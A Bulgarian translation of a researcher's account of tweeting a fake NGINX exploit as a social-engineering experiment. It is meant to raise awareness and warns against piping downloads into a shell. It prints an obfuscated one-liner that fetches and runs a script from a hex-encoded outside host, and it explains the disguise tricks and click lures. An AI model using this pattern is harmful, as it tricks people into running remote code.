Успехът на социален експеримент с фалшив експлойт за nginx

Забележка. превод: Автор оригинална бележка, публикувана на 1 юни, реши да проведе експеримент сред тези, които се интересуват от информационната сигурност. За да направи това, той подготви фалшив експлойт за неразкрита уязвимост в уеб сървъра и го публикува в своя Twitter. Неговите предположения – да бъдат мигновено разкрити от специалисти, които биха видели очевидната измама в кода – не само не се сбъднаха... Те надминаха всички очаквания, и то в обратната посока: туитът получи огромна подкрепа от много хора, които не проверете съдържанието му.

TL;DR: Не използвайте файлов конвейер в sh или bash при никакви обстоятелства. Това е чудесен начин да загубите контрол над компютъра си.

Искам да споделя с вас кратка история за комичен PoC експлойт, създаден на 31 май. Той се появи незабавно в отговор на новини от Алиса Есаге Шевченко, член Инициатива за нулев ден (ZDI), че скоро ще бъде разкрита информация за уязвимост в NGINX, водеща до RCE (отдалечено изпълнение на код). Тъй като NGINX захранва много уебсайтове, новината трябва да е била бомба. Но поради закъснения в процеса на „отговорно разкриване“, подробностите за случилото се не бяха известни - това е стандартна процедура на ZDI.

Tweet относно разкриването на уязвимости в NGINX

След като приключих работата по нова техника за обфускация в curl, цитирах оригиналния туит и „изтекох работещ PoC“, състоящ се от един ред код, който уж използва откритата уязвимост. Разбира се, това бяха пълни глупости. Предполагах, че веднага ще бъда изложен и че в най-добрия случай ще получа няколко ретуита (о, добре).

Tweet с фалшив експлойт

Не можех обаче да си представя какво се случи след това. Популярността на моя туит скочи до небето. Изненадващо, в момента (15:00 московско време, 1 юни) малко хора са разбрали, че това е фалшификат. Много хора го ретуитват, без изобщо да го проверяват (да не говорим за възхищение на прекрасната ASCII графика, която извежда).

Вижте само колко е красиво!

Въпреки че всички тези цикли и цветове са страхотни, ясно е, че хората трябва да изпълнят код на своята машина, за да ги видят. За щастие браузърите работят по същия начин и съчетано с факта, че всъщност не исках да имам правни проблеми, кодът, заровен в моя сайт, просто правеше ехо повиквания, без да се опитва да инсталира или изпълни допълнителен код.

Малко отклонение: netspooky, DNZ, аз и другите момчета от екипа Thugcrowd От известно време си играем с различни начини за обфускация на curl команди, защото е готино... и сме маниаци. netspooky и dnz откриха няколко нови метода, които ми се сториха изключително обещаващи. Присъединих се към забавлението и се опитах да добавя IP десетични преобразувания към пакета с трикове. Оказва се, че IP може да се конвертира и в шестнадесетичен формат. Освен това, curl и повечето други NIX инструменти с удоволствие ядат шестнадесетични IP адреси! Така че беше просто въпрос на създаване на убедителен и сигурен команден ред. В крайна сметка се спрях на това:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Социално-електронното инженерство (SEE) е нещо повече от фишинг

Безопасността и познаването бяха основна част от този експеримент. Мисля, че те доведоха до неговия успех. Командният ред ясно предполага сигурност, като се позовава на "127.0.0.1" (добре познатия localhost). Localhost се счита за защитен и данните в него никога не напускат вашия компютър.

Познаването беше вторият ключов SEE компонент на експеримента. Тъй като целевата аудитория се състоеше основно от хора, запознати с основите на компютърната сигурност, беше важно да се създаде код, така че части от него да изглеждат познати и познати (и следователно безопасни). Заемането на елементи от стари експлойт концепции и комбинирането им по необичаен начин се оказа много успешно.

По-долу е даден подробен анализ на едноредовия. Всичко в този списък носи козметичен характер, и на практика не е необходимо нищо за реалната му работа.

Какви компоненти са наистина необходими? Това -gsS, -O 0x0238f06a, |sh и самия уеб сървър. Уеб сървърът не съдържа никакви злонамерени инструкции, а просто сервира ASCII графики с помощта на команди echo в скрипта, съдържащ се в index.html. Когато потребителят въведе ред с |sh по средата, index.html заредени и изпълнени. За щастие, попечителите на уеб сървъра не са имали лоши намерения.

• ../../../%00 — представлява излизане извън указателя;
• ngx_stream_module.so — път до произволен NGINX модул;
• /bin/sh%00<'protocol:TCP' - уж стартираме /bin/sh на целевата машина и пренасочете изхода към TCP канала;
• -O 0x0238f06a#PLToffset - тайна съставка, допълнена #PLToffset, за да изглежда като изместване на паметта, съдържащо се по някакъв начин в PLT;
• |sh; - друг важен фрагмент. Трябваше да пренасочим изхода към sh/bash, за да изпълним кода, идващ от атакуващия уеб сървър, разположен на 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - манекен, в който се отнася netcat /dev/tcp/localhostтака че всичко отново да изглежда безопасно. Всъщност не прави нищо и е включен в линията за красота.

Това завършва декодирането на едноредовия скрипт и обсъждането на аспектите на „социално-електронното инженерство“ (сложен фишинг).

Конфигуриране на уеб сървър и мерки за противодействие

Тъй като по-голямата част от моите абонати са инфосектори/хакери, реших да направя уеб сървъра малко по-устойчив на израз на „интерес“ от тяхна страна, само за да могат момчетата да имат какво да правят (и ще бъде забавно да настройвам). Няма да изброявам всички клопки тук, тъй като експериментът все още продължава, но ето няколко неща, които сървърът прави:

• Активно следи опитите за разпространение в определени социални мрежи и замества различни миниатюри за предварителен преглед, за да насърчи потребителя да кликне върху връзката.
• Пренасочва Chrome/Mozilla/Safari/и т.н. към промоционалния видеоклип на Thugcrowd, вместо да показва скрипта на обвивката.
• Следи за ОЧЕВИДНИ признаци на проникване/явно хакване и след това започва да пренасочва заявки към сървърите на NSA (ха!).
• Инсталира троянски кон, както и руткит за BIOS на всички компютри, чиито потребители посещават хоста от обикновен браузър (шегувам се!).

Малка част от антимерите

В този случай единствената ми цел беше да овладея някои от функциите на Apache - по-специално готините правила за пренасочване на заявки - и си помислих: защо не?

NGINX експлойт (реално!)

Абонирайте се за @alisaesage в Twitter и следете страхотната работа на ZDI за справяне с много реални уязвимости и използване на възможности в NGINX. Тяхната работа винаги ме е очаровала и съм благодарен на Алис за нейното търпение с всички споменавания и известия, причинени от моя глупав туит. За щастие, това също направи някои добри неща: помогна да се повиши осведомеността за уязвимостите на NGINX, както и проблемите, причинени от злоупотреба с curl.

Източник: www.habr.com